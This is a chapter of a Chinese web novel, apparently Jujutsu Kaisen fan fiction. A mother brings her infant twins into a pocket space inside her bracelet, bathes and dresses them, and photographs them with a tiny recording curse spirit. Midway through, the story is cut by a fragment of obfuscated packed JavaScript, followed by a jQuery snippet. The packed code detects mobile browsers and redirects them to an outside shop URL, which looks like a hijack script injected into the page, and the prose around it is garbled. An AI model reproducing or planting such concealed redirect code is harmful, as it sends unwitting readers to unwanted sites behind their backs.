宿观音站在树屋里,看着手腕上的镯子,忽然冒出一个念头。
——如果把两个崽带进去,会怎么样?
这个念头一冒出来就收不住了。
她蹲下来,看着地上两个正在啃脆骨的小团子。
“崽,”她说,“妈带你们去个好玩的地方。”
两个小团子抬起头,看着她。
宿傩眨眨眼睛,嘴里还含着脆骨,口水顺着下巴往下淌。
宿昳也眨眨眼睛,手里拿着啃了一半的棒棒,安静地看着她。
宿观音伸出手,一边一个,把两个小团子抱起来。
然后她闭上眼睛,想着“进去”。
眼前一花。
再睁开眼的时候,她已经站在那个一百平米的空间里了。
木地板,柔和的光,四个箱子摞在角落里。
两个小团子在她怀里,愣住了一秒。
然后——
宿傩的眼睛瞪大了。
瞪得像两颗小葡萄,圆溜溜的,亮晶晶的。
他嘴里的脆骨“啪嗒”掉在地上,但他完全顾不上,就那么瞪着眼睛,四处看。
看天花板,看墙壁,看木地板,看那四个大箱子。
看了一遍,又看一遍。
然后他“啊啊”叫起来,声音又急又亮,像是在说:这是哪儿!这是哪儿!怎么这么亮!怎么这么平!怎么这么大!
宿昳的反应不一样。
他没有叫,也没有瞪眼睛。
他只是安静地看。
眼睛慢慢移动,把整个空间扫了一遍。
天花板——会发光,不是火那种光,是柔和的白光。
墙壁——灰白色,软软的,像是能摸。
地板——平的,光滑的,和树屋那种粗糙的木板不一样。
箱子——四个,摞在一起,木头做的。
他看了一遍,然后低下头,看着自己的手。
又抬起头,看着老妈。
那双黑漆漆的眼睛里,像是在问:这是哪里?
宿观音看着他们的反应,忍不住笑了。
“这是妈的手镯里面,”她说,“以后万一有危险,咱们就躲进来。”
宿傩听不懂,但还在“啊啊”叫,小手动来动去,指着这儿指着那儿,像是在说:这个!这个!那个!那个!
宿昳听懂了“手镯”两个字——他记得老妈手腕上那个灰灰的东西。
他又看了看周围,然后轻轻“啊”了一声。
像是在说:原来里面这么大。
宿观音把他们放下来,放在木地板上。
两个小团子第一次接触这么光滑的地面,愣了一下。
宿傩趴着,小手摸了摸地板。
滑滑的,凉凉的,和树屋的兽皮完全不一样。
他拍了拍。
“啪。啪。”
有声音。
他又拍了拍。
“啪。啪。”
他眼睛亮了,开始用力拍。
“啪啪啪啪啪——”
像在打鼓。
宿昳没有拍。
他趴着,慢慢往前蹭。
蹭了一下,滑了一下——太滑了,他的小手没撑住,脸朝下栽在地板上。
“啪叽。”
他抬起头,愣了一下。
然后又蹭了一下,又滑了一下。
“啪叽。”
又栽了。
他皱起小眉头,看着这个滑滑的地板。
然后他开始换方式。
不蹭了,用滚的。
他侧过身,一滚。
咕噜噜——
滚出去半米远。
他停下来,眼睛微微睁大。
然后又滚了一下。
咕噜噜——
又滚出去半米。
他抬起头,看着老妈,眼睛亮晶晶的。
像是在说:这个可以!
宿傩在旁边看到了。
他停下来,看着哥哥滚。
看了一会儿,他也开始滚。
咕噜噜——
滚出去,撞到箱子,停下来。
他又滚回来。
咕噜噜——
撞到哥哥,停下来。
两个小团子,一个往东滚,一个往西滚,咕噜噜咕噜噜,在木地板上滚来滚去。
滚累了,停下来,喘着气,看着对方。
然后同时咧开嘴笑了。
宿观音站在旁边,看着他们滚。
看着他们笑。
看着他们在那个光滑的地板上,像两只小小的团子,滚来滚去。
她忽然觉得,这个空间,值了。
滚了一会儿,两个小团子都累了。
并排躺在地板上,眯着眼睛,喘着气。
宿观音蹲下来,看着他们。
“好玩吗?”
宿傩“啊”了一声,声音响亮,像是在说:好玩!
宿昳轻轻“啊”了一声,像是在说:嗯。
宿观音笑了。
她站起来,走到那几个箱子前面。
“崽,妈给你们看点好东西。”
她打开第一个箱子,拿出那些柔软的布料。
两个小团子抬起头,看着那些布。
宿傩眨眨眼睛,不知道那是什么。
宿昳看着那些布,眼睛微微亮了一点——他认出来了,是软软的东西,和襁褓有点像。
宿观音又打开第二个箱子,拿出那些小衣服。
小小的袄,小小的裤,小小的帽子,小小的袜子。
她拿起一件小袄,在自己身上比了比,然后对着两个崽晃了晃。
“好看吗?”
宿傩“啊”了一声,像是在说:什么玩意?
宿昳看着那件小袄,眨眨眼睛。
宿观音把衣服放回去,又拿出第三个箱子的东西。
婴儿米粉,肉松,磨牙饼干,还有那罐奶粉。
还有——
她翻了翻,找到了。
奶嘴。
真正的奶嘴。
软软的,滑滑的,硅胶做的,和她用脆骨做的完全不一样。
她拿起一个,走回两个崽旁边,蹲下来。
“崽,给你们个好东西。”
她把奶嘴先递给宿傩。
粉色小团子看着那个软软的小东西,愣了一下。
他伸出手,接过来。
拿在手里看了看,捏了捏。
软的。
他又捏了捏。
更软了。
他张开嘴,把它塞进去。
然后他愣住了。
眼睛瞪得圆圆的。
那个表情,像是在说:这是什么感觉?怎么这么软?怎么这么奇怪?
他含着奶嘴,一动不动,像是在感受。
感受了三秒。
然后他开始嘬。
嘬嘬嘬,嘬嘬嘬。
奶嘴在他嘴里一动一动,他嘬得专心致志,口水顺着嘴角往下流。
但这次没有流到地上,被奶嘴的挡板挡住了。
宿观音看着他那个样子,忍不住笑出声。
“喜欢吗?”
宿傩没空理她,继续嘬。
嘬得眼睛都眯起来了。
宿观音又拿起一个奶嘴,递给宿昳。
黑色小团子接过来,没有像弟弟那样直接塞嘴里。
他先拿在手里看。
翻来覆去地看。
捏一捏,软的。
拉一拉,有弹性。
对着光看一看,半透明的。
他研究了很久。
然后他张开嘴,把它塞进去。
含住。
抿了抿。
眼睛微微眯起来。
然后又拿出来。
又看了看。
又塞进去。
又抿了抿。
又拿出来。
宿观音在旁边看着,一头雾水。
“你干嘛呢?”她问,“好吃吗?”
宿昳看着她,眨眨眼睛。
然后把奶嘴又塞进去,嘬了两下,拿出来,对着光看了看。
像是在研究这个东西为什么能嘬出感觉来。
宿观音看着他那副认真的小模样,不知道该哭还是该笑。
“行吧,”她说,“你慢慢研究。”
她把两个崽留在那里研究奶嘴,自己走回箱子那边,把那些小衣服拿出来。
今天得给他们洗个澡,换上新衣服。
之前一直是擦澡——用毛巾沾热水,一点一点擦。
但现在有空间了,可以好好洗一洗。
她心里默想:来点热水。
眼前一花,面前出现一个大木盆。
盆里装着温水,热气袅袅升起。
她又默想:毛巾。
毛巾出现。
她又默想:澡巾,小木勺,还有那个从镇上换来的、一直没舍得用的、据说对婴儿皮肤好的草药皂。
东西一件一件出现。
她试了几次,玩上瘾了。
默想一下,东西出现。
再默想一下,东西消失。
出现,消失,出现,消失。
像变魔术一样。
两个小团子本来在研究奶嘴,看到老妈这边东西飞来飞去,都停下来,盯着看。
宿傩含着奶嘴,眼睛瞪得圆圆的,看着那些东西出现又消失。
宿昳也含着奶嘴,眼睛微微亮着,像是在观察这个规律。
宿观音玩了一会儿,才想起正事。
她走过去,把两个崽抱起来。
“来,洗澡。”
两个小团子被放进木盆里。
温水漫过他们的小身子,暖暖的,软软的。
宿傩愣了一下。
然后他开始拍水。
“啪!啪!啪!”
水花四溅,溅了自己一脸,也溅了老妈一身。
他眨眨眼睛,把脸上的水甩掉,然后继续拍。
“啪!啪!啪!”
拍得开心极了。
宿昳没有拍。
他坐在水里,感受着那种温温的、软软的感觉。
然后他低下头,看着自己的小手在水里。
手变样子了——被水折射得有点变形。
他动了动手指,水里的影子也跟着动。
他看了一会儿,然后抬起头,看着老妈。
像是在说:这个也好玩。
宿观音蹲在木盆旁边,给他们洗澡。
先洗宿傩。
粉色小团子还在拍水,根本停不下来。她抓住他的小手,用澡巾慢慢擦。
擦胳膊,擦背,擦小肚子。
宿傩被擦得痒痒的,咯咯笑起来——不是那种“啊啊”叫,是真的笑声,轻轻的,像小鸟叫。
宿观音愣住了。
这是她第一次听到他笑。
不是咧着嘴傻笑那种笑,是发出声音的笑。
她看着他,眼眶忽然有点热。
“崽,”她轻声说,“你笑了。”
宿傩听不懂,继续咯咯笑。
笑完又开始拍水。
宿观音吸了吸鼻子,继续给他洗。
洗头的时候,他不太乐意,小眉头皱着,想躲。
但被老妈按住,躲不掉,只能委屈巴巴地让她洗。
洗完,用毛巾裹起来,放在一边。
然后是宿昳。
黑色小团子安静地坐在水里,看着她。
她轻轻给他擦。
擦胳膊,他不动。
擦背,他不动。
擦小肚子,他微微眯起眼睛,像是在享受。
洗头的时候,他也没躲,就那么让她洗。
只是眼睛一直看着她,像是在说:我知道你在帮我。
洗完了,她用毛巾把他裹起来。
两个小团子,并排裹着毛巾,坐在木盆旁边。
像两个小小的粽子。
宿观音看着他们,忍不住笑了。
“好了,现在穿新衣服。”
她拿起那件小袄,先给宿傩穿。
粉色小团子被套上衣服,立刻皱起小眉头。
这是什么?
怎么这么紧?
怎么动不了了?
他挣了挣,挣不动。
又挣了挣,还是挣不动。
他开始“啊啊”叫,像是在说:难受!不要!
宿观音按住他,“别动,穿好就好了。”
他不听,继续挣。
挣得小脸通红,满头大汗。
但那件小袄是专门给婴儿设计的,裹得刚刚好,他根本挣不开。
挣了一会儿,他累了,停下来,喘着气。
小嘴瘪着,一脸委屈。
像是在说:为什么要穿这个?
宿观音看着他那副样子,又想笑又心疼。
“乖,”她摸摸他的头,“穿着暖和。”
宿傩不听,继续瘪着嘴。
但也没再挣了。
轮到宿昳。
黑色小团子安静地让老妈给他穿。
穿袖子,他不动。
系带子,他不动。
穿好了,他低头看了看自己身上的衣服。
然后又抬头看了看老妈。
像是在说:穿好了,然后呢?
宿观音被他那副淡定的样子逗笑了。
“你倒是不挑。”
宿昳眨眨眼睛,没说话——当然不会说话。
然后他张开嘴,把一直含着的奶嘴又拿出来,继续研究。
宿观音看着他和奶嘴斗智斗勇的样子,彻底服了。
这崽子,以后怕是个科学家。
衣服穿好了,澡洗完了,奶嘴也研究得差不多了。
宿观音站起来,看着两个穿着新衣服的小团子。
粉色那个,穿着米白色的小袄,小脸鼓鼓的,还瘪着嘴,一脸不高兴。
黑色那个,穿着浅灰色的小袄,安静地坐着,手里拿着奶嘴,继续研究。
她看着他们,忽然想起一件事。
那个世界意识说,会不定期往空间里投放物资。
那会不会也投点别的?
比如——
能记录东西的那种?
她心里默想:有没有能拍照的东西?
眼前一闪。
一个小小的东西出现在她面前。
圆圆的,小小的,像一只虫子。
但仔细看,不是虫子,是一个咒灵。
一个特别特别小的咒灵,长得像一只瓢虫,但背上不是斑点,是一只眼睛。
那只眼睛正对着她,眨巴眨巴。
宿观音愣住了。
这是什么玩意儿?
她伸手想摸,那个小咒灵飞起来,绕着她转了一圈,然后落在她肩膀上。
她试着用咒力探了一下。
然后她明白了。
这是一个能记录影像的咒灵。
不是那种攻击性的,是那种“观察型”的。
它没有攻击力,只会飞,会看,会把看到的东西“储存”起来。
她想了想,从怀里拿出一块咒力结晶,递给它。
小咒灵凑过去,碰了碰那块结晶。
结晶慢慢融化了,被它吸收进去。
然后它飞起来,对着她,背上那只眼睛眨巴眨巴。
像是在说:准备好了。
宿观音笑了。
“行,”她说,“那就给这两个小崽子拍几张照片。”
她走过去,把两个小团子并排放好。
宿傩还在瘪着嘴,一脸不高兴。
宿昳还在研究奶嘴,头都不抬。
“看这边。”她指着那个小咒灵。
两个小团子抬起头,看着那个飞在半空中的小东西。
宿傩眼睛瞪大了。
这是什么?会飞?小小的一只?背上还有眼睛?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265107|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他“啊啊”叫起来,伸手想抓。
宿昳也看着那个小咒灵,眼睛微微亮起来,像是在观察。
小咒灵飞了一圈,背上的眼睛眨了眨。
“咔嚓。”
当然没有声音,但宿观音知道,它记录了。
她走过去,把两个崽重新摆姿势。
这次让他们并排趴着。
宿傩趴着,还在看那个小咒灵,小手伸着,想抓。
宿昳趴着,安静地看着镜头——不对,看着那只眼睛。
“咔嚓。”
又来一张。
她把他们抱起来,一边一个,搂在怀里。
两个小团子靠在她的肩膀上,都看着那个小咒灵。
宿傩还在伸手够。
宿昳安静地看着。
“咔嚓。”
再来一张。
她让他们面对面坐着。
宿傩看着哥哥,咧开嘴笑了——终于不瘪嘴了。
宿昳看着弟弟,眼睛弯了弯。
两个小小的手,在半空中碰在一起。
“咔嚓。”
完美。
她让他们啃奶嘴棒。
咔嚓。
让他们滚来滚去。
咔嚓咔嚓咔嚓。
让他们裹着毛巾像小粽子。
咔嚓。
让他们穿着新衣服,一脸懵逼。
咔嚓。
让他们——
拍了不知道多少张。
小咒灵飞来飞去,背上的眼睛眨个不停。
两个小团子从一开始的好奇,到后来的习惯,到最后完全无视它,该干嘛干嘛。
宿傩又开始滚来滚去。
宿昳继续研究他的奶嘴。
宿观音坐在地板上,看着他们。
看着那个小咒灵飞来飞去,记录着这一切。
她忽然觉得,这个画面,值得被记住。
不是那种记在脑子里的记住。
是真的被记录下来,以后可以拿出来看的那种记住。
等这两个小崽子长大了,能看懂照片了,她可以拿出来给他们看。
“看,这是你们三十三天的时候。”
“这是你们第一次洗澡。”
“这是你们第一次穿新衣服。”
“这是你们第一次进这个空间。”
“这是你们——”
她顿了顿。
“——第一次让妈妈觉得,穿越到这个鬼地方,真他妈值了。”
小咒灵飞到她面前,背上的眼睛对着她。
她笑了笑。
“也给我拍一张吧。”
她坐直,把两个小团子抱起来,一边一个,搂在怀里。
两个小崽子被她搂着,都抬头看她。
宿傩还在傻笑。
宿昳安静地看着她。
她看着镜头——看着那只眼睛。
笑了。
“咔嚓。”
画面定格。
那一刻。
那个一百平米的空间里。
柔和的灯光下。
木地板上。
一个粉色头发的女人,搂着两个小小的人儿。
一个粉色小脑袋,一个黑色小脑袋。
都在笑。
都在看着她。
都在那一刻,被永远记录下来。
很久很久以后。
当两个小崽子长大,当这个世界发生很多很多事。
当他们偶尔回头看的时候。
会看到这张照片。
会看到这一刻。
会看到——
他们的妈妈,在他们三十三天大的时候,用这样温柔的眼神看着他们。
会知道。
从一开始。
她就是爱他们的。
空间里很安静。
只有两个小团子偶尔的“啊啊”声。
只有小咒灵飞来飞去的嗡嗡声。
只有宿观音轻轻的笑声。
她看着那张被记录下来的画面——小咒灵飞过来,把画面投射在空中,像一个小小的屏幕。
两个小团子看着那个屏幕里的自己,都愣住了。
宿傩指着屏幕里的粉色小人,“啊啊”叫起来,像是在说:这个!这个是谁!
宿昳看着屏幕里的自己,眨眨眼睛。
像是在确认:那是我吗?
宿观音看着他们的反应,笑得眼泪都快出来了。
“是你们,”她说,“是你们自己。”
两个小团子听不懂,但继续盯着那个屏幕。
看着里面的自己动来动去。
看着里面的妈妈抱着他们。
看着里面的那个小小的世界。
看了很久很久。
然后宿傩忽然伸出手,想去摸那个屏幕里的自己。
手穿过画面,什么都没摸到。
他愣了一下,又摸了摸。
还是没摸到。
他皱起小眉头,看着老妈,像是在问:怎么回事?
宿观音笑得直不起腰。
“摸不到的,”她说,“那是影子。”
宿傩不懂什么叫“影子”,但他不摸了。
他就那么看着。
看着屏幕里的粉色小人,也看着他。
看着屏幕里的黑色小人,也安静地躺着。
看着屏幕里的妈妈,笑着搂着他们。
他忽然咧开嘴,笑了。
对着屏幕里的自己笑。
对着屏幕里的哥哥笑。
对着屏幕里的妈妈笑。
宿昳也在看。
他没有笑,但他的眼睛弯弯的。
那双黑漆漆的眼睛里,映着屏幕里的光。
映着那个小小的画面。
映着那一刻——
他们三十三天大的时候。
第一次被记录下来的时候。
第一次知道,原来自己长这个样子的时候。
小咒灵飞累了,落在宿观音肩膀上,背上的眼睛慢慢闭上,像是睡着了。
屏幕消失了。
两个小团子同时“啊”了一声,像是在说:怎么没了?
宿观音摸摸他们的头。
“下次再拍,”她说,“以后还有很多很多次。”
“拍你们长大。”
“拍你们学会走路。”
“拍你们学会说话。”
“拍你们——”
她顿了顿。
“——变成很棒很棒的人。”
两个小团子听不懂,但都看着她。
宿傩咧着嘴笑。
宿昳安静地看着她。
她看着他们。
看着这个空间。
看着手腕上的镯子。
忽然觉得,那个世界意识说得对。
改变未来。
不是因为她有多伟大。
是因为这两个小崽子,值得一个更好的未来。
她低下头,亲了亲两个小脑袋。
“走了,”她站起来,“出去吃饭。”
闭上眼睛,想着“出去”。
眼前一花。
再睁开眼的时候,他们已经回到树屋里了。
阳光还是那么暖。
咔嚓咔嚓声又响起来——两个小团子继续啃他们的奶嘴棒,好像什么都没发生过。
但宿观音知道。
刚才那一切,都是真的。
那个空间,那些东西,那些照片。
都是真的。
她低头看着手腕上的镯子。
笑了。
“以后,”她轻声说,“请多关照。”
镯子没回答。
但微微亮了一下。
像是回应。
窗外,夕阳西斜。
树屋里,两个小团子继续啃棒棒。
他们的妈妈,坐在摇椅上,一晃一晃。
嘴角带着笑。
眼里有光。